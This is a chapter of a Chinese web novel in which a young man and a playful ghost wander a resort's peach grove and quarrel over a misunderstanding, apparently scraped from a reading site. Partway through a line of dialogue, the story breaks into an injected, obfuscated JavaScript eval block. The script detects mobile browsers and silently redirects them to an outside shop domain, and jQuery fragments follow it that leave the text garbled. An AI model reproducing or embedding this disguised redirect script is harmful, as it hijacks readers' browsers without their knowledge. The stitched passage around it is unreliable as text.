文趣网 > 都市小说 > 被可爱鬼缠上了怎么办? > 19. 桃木桥
    黎戈瞧着手中轻飘飘的一张白纸,上面字迹秀丽,写下了自己认为的过错,每一个都会漂亮,带着诚恳,可组合起来,他只想将手中的这张检讨书甩回去。

    勒令其重新写一份,而不是如流水账般,可又一想,跟一只白痴鬼生什么气,莫把自己气糊涂了才好。

    白绒还站在茶几边,手里拿着只从床头柜里翻出来的钢笔,乖巧地眨眨眼,期待黎戈的反馈。

    这可是他辛辛苦苦写了一个小时的成果,不管如何,黎戈就应该夸他才是,书上说了,接受夸奖的花儿总能长得又漂亮又茁壮。

    “白绒。”

    白绒闻言身子一僵,耳朵探长了来,脸上的得意言溢于表,浅绿如春似的眸子带着浅笑和期待。

    黎戈强颜欢笑,扯了扯嘴角,他还能做点什么来缓和自己的心情,他还得去找阿妤,这个点,也不知还能不能碰上,看白绒这可怜样,巴掌给了总要喂颗糖尝尝,莫要把人凶坏了。

    他走上前,牵过白绒的手,将钢笔放置于桌上,开口道:“做的不错,我们出去吃饭吧。”

    “好哎。”白绒欢快道。

    *

    黎戈将白绒从餐厅带出来时已经是一个小时后了,防止白绒将早点全吃完了,餐厅内有人已经惊恐到连饭都不吃,不可置信盯着白绒,两口便一个不大的蛋挞,连嚼咽的动作都没看清,便无缝衔接下一个。

    像只屯粮的仓鼠,只不过不是塞入颊囊之中,而是三两下落了肚,化为细微的能量光点散去了。

    黎戈还特意盯着白绒的腹部看,常常想,吃那么多,怎么就鼓不起来呢。

    他走在餐厅通往前台的走廊间,墙壁四周挂着名画的仿品,又或不知名画家的风景画,大多为桃林,偶有一白衣女子入画,在不起眼的角落里。

    黎戈路过前台,想往外走,猝不及防又遇站在门口,一脸憨厚笑着的老板直勾勾盯着他看,黎戈“哈哈”两声,跟人打了个招呼。

    “早啊,老板。”

    老板笑起来,厚厚的眼皮将眼睛全挡了去,就留一条眼缝在外头,脸上麻子点点,人又圆润,想必是山庄的伙食极好。

    老板应道:“客人这是要到外头去?大雨过后地湿,可注意些,别滑倒了。”

    语气亲和,着实让人挑不出毛病。

    “会注意的,谢谢提醒。”

    他点点头,捏着白绒细软的手就往外头走,这个时候也不晓得阿妤在不在桃林末处的石椅上待着。

    若找不到人,那便真要在山庄里捞针了。

    黎戈步子走得慢,一是要顾及白绒,白绒走起路来,总爱东张西望,生怕落下一个陌生事物,像极了初学的孩童,对未知的事物总抱有新奇的兴奋,乐此不疲地充当“十万个为什么。”

    二是他怕错过人群中的阿妤,赶得早不如赶得巧,万一他们就碰见了呢?

    二人踏上了昨日白衣女子曾站上过的桃木桥,望到底下去,青绿的水泛着细微的雾,底下的鱼儿皆若空游,映着天边云。

    清透的倒影将二人身影笼至这水间,连带着身后熙熙攘攘来来往往的游客,争相过桥,偶有人在此取景便匆匆离去。

    身后皆为过路人,他手中娇软的触感往下一滑,原是白绒瞧见了底下交织游动的鱼,想伸手去触那水面。

    桃木桥虽然不高,可想越过桥栏去摸鱼,还有些难度。

    “白绒,小心些。”

    黎戈被扯了一个踉跄,下一秒却瞧见溪里豁然掀起水波,炸开的水花中有鱼跃起,一个个争着要往白绒手心里凑。

    好似有人往水里扔了手雷似的,惊得游客瞩目而望,一个个瞪大眼来,赶忙从口袋里掏出手机想拍照发个社交平台时,黎戈见周遭不对劲,拽着人就跑。

    那鱼堪堪碰到白绒手心,下一秒连鱼带人都消失在桥中人眼里,溪面恢复平静,方才拥聚在一起的鱼儿有多欢快地甩动尾巴,现在就有多焉巴地在水中吐着泡泡,好似好不容易应付完游客的可怜打工鱼。

    一位背着旅游包的男子,挠挠脑袋,向旁边的友人问道:“咦,方才这里不是还有人在吗?怎么连个影都见不着了?”

    友人点点头,他的手机才刚刚拿出来,两人“嗖”的一下就没影了,不晓得的还以为在拍电视剧呢,语气带着不可置信,道“真古怪,莫不是眼花了,这一池的鱼明明方才激动得很。”

    像是为了应答桥上游人的话,疲惫不堪的鱼儿勉强吐出几串泡泡,来告诉游人,它们现在很累,每日都得甩尾巴,这破班谁爱上谁上。

    *

    他戈带人闪到了桥的另外一头,桃木桥是进入桃林的必经之路。

    这处人群三两成团,扯着花枝拍着照,折几支桃花拿在手上,或揪几朵嫩花插在编成股的辫子上,春意阑珊,不过于此时。

    二人走偏了些,黎戈才停下脚步,白绒的步伐愈发慢起来,几乎是他拖着白绒走,在满地粉桃瓣里拖拽出一条长长的条痕,春风一吹,便消散无影,上下皆粉,倒显得粗壮的树干格格不入。

    白绒左脸一鼓,浅绿的眸子带上几分埋怨,不满道:“黎戈,我还没玩够呢!”

    湿乎乎、软哒哒的鱼嘴争着往他手心跑,搁谁身上不激动,漂亮的鱼儿甩着火红的尾巴,亲昵地凑上来,对他而言这简直有趣极了。

    黎戈闻语,无奈解释道:“你再玩下去,就会被人当成国宝一样围观,明日就得变成以雾山庄的活招牌,保不齐还得上新闻。”

    他都能想到明日新闻的标题。

    某山庄的锦鲤竟如此亲近人,万物有灵,这此乃奇观,刷的朋友必定锦上添花……

    “噢,他们有本事就来抓我挂到招牌上去。”白绒心一横,他才不管别人呢,自己过得快活不就行了,没偷没抢的,也没碍到别人,鱼儿就乐意喜欢他怎么了。

    黎戈:“……”

    脑袋突然间胀痛起来。

    眼前人这番话,说得实在是太有理了,他一时语结到,竟然连句话都该不知如何说好。

    白绒见人不理自己,凑近过去,拉了拉人的衣角,颇外委屈,说起话来也收了架势,柔柔和和地道:“黎戈,你怎么不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684404|207402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    理我。”

    黎戈叹了口气,伸手摸上白绒毛茸茸的脑袋,发丝细腻手感好极了,让人爱不释手,至少他是这样想的。

    “白绒,‘活招牌’是一个形容,不是真的要把你挂上去。”

    “这怪我吗?你是老说一些我听不懂的话,我在努力理解了,不要凶我。”白绒似春眼眸笼上一层阴云,紧抿着薄唇往下压,似被风吹弯的桃瓣。

    含春似的眸子盯着黎戈瞧,头稍稍抬高,带着不屈。

    他霎时语塞,喉中一哽,硬是说不出话来,这样的白绒实在让人揪心着疼。

    “我……”

    “你什么你,我只是太久没有接触世事,不了解现在这个世界,不代表我是一个傻子,我也在努力的学习你们人类的生活方式,你多教一教我便好了,我下次会注意的,既然我不懂,你便不要怪我!”

    白绒糯着嗓子,音量很小,像要散尽春风里,化作细小的分子颤抖着逃离去,可黎戈却听清楚了,眼前人带着怒意的话语震耳欲聋。

    黎戈欲言又止,唇开又合愣是说不出话来,心间拱着一团火,四处烧灼愣是找不到一个发泄口。

    眼前人在述说着自己的不满,近些日子来的委屈,一股脑的全道了出来,眼前人想让自己知道,他并不是一无是处,只会缠着自己想要这,想要那的,他不是喜欢追着自己问东西像无知幼童般,他只是迫切的想要认识这个令他陌生的世界。

    享受他从未享受过的乐趣。

    一只无家可归的鬼,下定决心想要离开舒适圈,轻易原谅了将他家都毁了去的坏蛋,开始尝试接受这个接近全新的世界。

    言语上的代沟不仅是一时的隔阂,更是一世不可跨越的横沟。

    “好。”

    黎戈坦然地应了。

    “这还差不多,走吧,待会要是找不到人,莫要怪我!”白绒“哼唧”两声,皱巴的小脸一下子笑开来,这满山庄的桃花也怕是比不上他薄唇边的笑意。

    “不会的。”

    “噢。”

    他才不信呢,黎戈就是一个彻头彻尾的大坏蛋。

    看在养自己的份上,他宰相肚里能撑船,愿意大发慈悲的原谅这个不知好歹的人类。

    白绒脚步轻快,不知觉哼起了一个不知名的小调,时而跳脱,时而顿挫,连树上的鸟儿也附和地欢叫,细听调子,会发觉竟和谐得不可思议。

    黎戈被白绒牵着走,和方才颠倒了过来。

    看人心情的不错的样子,他一时不知要不要开口说话。

    白绒走反了,而且离目的地愈发远。

    再这样下去,他们何时能到地方。

    “白绒。”

    他开口喊住白绒,语气不缓不急,带着不易察觉的笑意。

    白绒脚步一慢,回过头狐疑地盯着人看,开口问道:“干嘛,你是不是又想骂我。”

    他失笑,回道:“我没有要骂你,只是……你走反了。”

    白绒呆呆地应了一声,道:“噢,那我们倒回去。”

    “好。”黎戈欣然应语。